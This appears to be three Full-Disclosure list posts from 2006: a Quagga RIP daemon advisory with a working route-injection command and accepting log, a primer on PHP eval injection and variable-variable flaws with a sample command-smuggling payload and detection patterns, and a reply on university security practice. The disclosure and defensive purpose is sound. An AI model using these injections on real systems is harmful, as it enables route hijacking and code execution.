Arhont Ltd - Information Security Advisory by:Konstantin V. Gavrilenko (http://www.arhont.com) Arhont ref: arh200604-2 Advisory: Quagga RIPD unauthenticated route injection Class: design bug? Version:Tested on Quagga suite v0.98.5 v0.99.3 (Gentoo, 2.6.15) Model Specific: Other versions might have the same bug DETAILS It is possible to inject a custom malicious route into the quagga RIP daemon using the RIPv1 RESPONSE packet even if the quagga has been configured to use MD5 authentication. The prerequisite to the attack is the absence of the specific version of the protocol in the router rip configuration. This way, quagga accepts authenticated RIPv2 and also RIPv1 packets, that do not have authentication mechanism at all. configuration of the ripd key chain dmz key 1 key-string secret ! interface eth0 ip rip authentication mode md5 auth-length old-ripd ip rip authentication key-chain dmz ! router rip redistribute static network eth0 arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -rv 1 -rc 2 -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100 RIPD LOG 2006/05/02 16:06:45 RIP: RECV packet from 192.168.69.102 port 520 on eth0 2006/05/02 16:06:45 RIP: RECV RESPONSE version 1 packet size 24 2006/05/02 16:06:45 RIP: 192.168.36.0 family 2 tag 0 metric 1 2006/05/02 16:06:45 RIP: Resultant route 192.168.36.0 2006/05/02 16:06:45 RIP: Resultant mask 255.255.255.0 2006/05/02 16:06:45 RIP: triggered update! RISK FACTOR: Medium WORKAROUNDS: Implement the patch for the ripd or firewall the access to the ripd daemon on the need to access basis. COMMUNICATION HISTORY: Issue discovered: 10/04/2006 quagga notified: 24/04/2006 Public disclosure:03/05/2006 ADDITIONAL INFORMATION: *According to the Arhont Ltd. policy, all of the found vulnerabilities and security issues will be reported to the manufacturer at least 7 days before releasing them to the public domains (such as CERT and BUGTRAQ). If you would like to get more information about this issue, please do not hesitate to contact Arhont team on [EMAIL PROTECTED] -- Respectfully, Konstantin V. Gavrilenko Managing Director Arhont Ltd - Information Security web:http://www.arhont.com http://www.wi-foo.com e-mail: [EMAIL PROTECTED] tel: +44 (0) 870 44 31337 fax: +44 (0) 117 969 0141 PGP: Key ID - 0xE81824F4 PGP: Server - keyserver.pgp.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Dynamic Evaluation Vulnerabilities in PHP applications
--
Dynamic Evaluation Vulnerabilities in PHP applications
--
Following is a brief introduction to a growing class of serious
vulnerabilities in PHP applications. They can allow execution of
arbitrary code or arbitrary functions, or read/write access of
arbitrary internal variables.
It seems that only a handful of researchers are currently looking for
these issues, including Stefan Esser, retrogod, and Gulftech.
However, these serious problems are probably present in many
applications, especially large or complicated ones. In addition,
researchers can trigger these vulnerabilities but incorrectly label
them as XSS if they do not perform sufficient diagnosis.
Note that these types of vulnerabilities are not unique to PHP. Other
interpreted languages can have similar issues. For example, Perl,
Python, and Javascript have eval functions. A recent myspace XSS
issue used eval injection in Javascript [1], and eval injection has
been reported in some Python applications (CVE-2005-2483,
CVE-2005-3302) and Perl (CVE-2002-1750, CVE-2003-0770, CVE-2005-1527,
CVE-2005-2837).
--
Eval Injection
--
Terminology note: this term is not common, but it is used in CVE. As
of this writing, there is no commonly used alternative.
An eval injection vulnerability occurs when an attacker can control
all or part of an input string that is fed into an eval() function
call. Eval will execute the argument as code. The security
implications for this are obvious. This issue has been known for
years [2], but it is still under-researched.
Example:
$myvar = varname;
$x = $_GET['arg'];
eval(\$myvar = \$x;);
What happens if arg is set to 10 ; system(\/bin/echo uh-oh\); ?
Basic detection:
- With source code: since it is a standard PHP function, it is easy
to grep for potentially dangerous calls to eval(). However, the
researcher must further investigate whether inputs can be
controlled by an attacker.
- Without source code: if verbose errors are available, an invalid
input might trigger an error message related to a parsing error.
Using an input of phpinfo might be useful. However, you might
have to play with the inputs to match the syntactic requirements
of the statement that is finally fed into the eval, just like you
sometimes need to do in XSS or SQL injection.
Eliminating the problem:
- avoid eval() whenever possible
- use only whitelists of acceptable values to insert into eval()
calls. The whitelist might need to change depending on where in
the program you are.
---
Dynamic Variable Evaluation
---
Terminology note: there is no common term for this kind of issue.
PHP supports variable variables, which are variables or expressions
that evaluate to the names of other variables [3]. They can be used
to dynamically change which variable is accessed or set during
execution of the program. This powerful and convenient feature is
also dangerous.
If the variable names are not controlled, an attacker can read or
write to arbitrary variables, depending on the application. The
consequences depend on the program. In some cases, even critical
variables such as $_GLOBALS can be modified [4].
Example:
$varname = myvar;
$$varname = 10;
echo $myvar;
This will set $myvar, and print the string 10!
It seems likely that this issue will occur more frequently as PHP
developers modify their programs so that they do not require
register_globals.
A number of applications have code such as the following:
$safevar = 0;
$param1 = ;
$param2 = ;
$param3 = ;
# my own register globals for param[1,2,3]
foreach ($_GET as $key = $value) {
$$key = $value;
}
If the attacker provides safevar=bad in the query string, then
$safevar will be set to the value bad.
Detection Examples:
$$varname
${$varname}
${$var . $name}
${arbitrary expression}
Eliminating the problem:
- use only whitelists of acceptable variable names. The whitelist
might need to change depending on where in the program you are.
---
Dynamic Function Evaluation
---
Terminology note: there is no common term for this kind of issue.
Variable variables can also be used to dynamically reference
functions:
$funcname = myfunction;
$$funcname(Arg1, Arg2);
This effectively calls myfunction(Arg1, Arg2) !
Detection Examples:
$$fname();
${$var1 . $var2} (arg);
${varname} ();
Eliminating the problem:
- use only whitelists of acceptable function names. The whitelist
might need to change depending on where in the program you are.
--
References
--
[1] Myspace.com - Intricate Script Injection
Justin Lavoie
http://marc.theaimsgroup.com/?l=bugtraqm=114469411219299w=2
[2] A Study In Scarlet: Exploiting Common
Re: [Full-disclosure] What is wrong with schools these days?
On Sun, 30 Apr 2006 20:16:27 EDT, Gaddis, Jeremy L. said: While this often holds true, there should always a central infosec department that has the ability to kill a switch port. Kill the network connection to a critical server exposing private information and people take notice pretty quick. It's the rare university indeed where all the copper in all the departments is owned by one networking group that has the clue to manage it all. The biggest info leakage problem usually *isn't* a critical server, it's some administrative staffer who's got an extract from some database sitting in a folder on their hard drive so they can beat the snot out of it with Excel and get a pretty graph for some PHB - and said staffer is blissfully unaware that C$: is shared to the entire world And sometimes, even when you turn off the link on their RJ-45 and call them to tell them there's a problem, it's hard to get their attention. Remember that they are *not* paid to be computer security wizards, and *you* are interfering with *their* report being completed on time. It's *particularly* hard to get their attention when the PHB is the University Vice President of Foo, and said PHB needs the pretty graph to present to some accreditation committee that's visiting the campus in 3 days... (And you over in corporate-land quit snickering - I'm sure that you have VPs that have emergency reports that need to be finished because the audit team from one of the Big-Used-To-Be-5 is arriving later this week) Agreed, though lack of a response doesn't mean nothing is happening. Often times, the first time infosec must do is contact legal for advice. Legal's first advice is often to simply not respond. Quite often (especially if it's a dorm resident's personal machine), we're restricted by FERPA issues (basically, if it remotely smells like a student's records - which it becomes once we turn it over to the student judicial office). As a result, we're often unable to say much more than We got your report, and it will be dealt with as per our policies. Let us know if there's any continued trouble. pgpMDC3hhWZFo.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
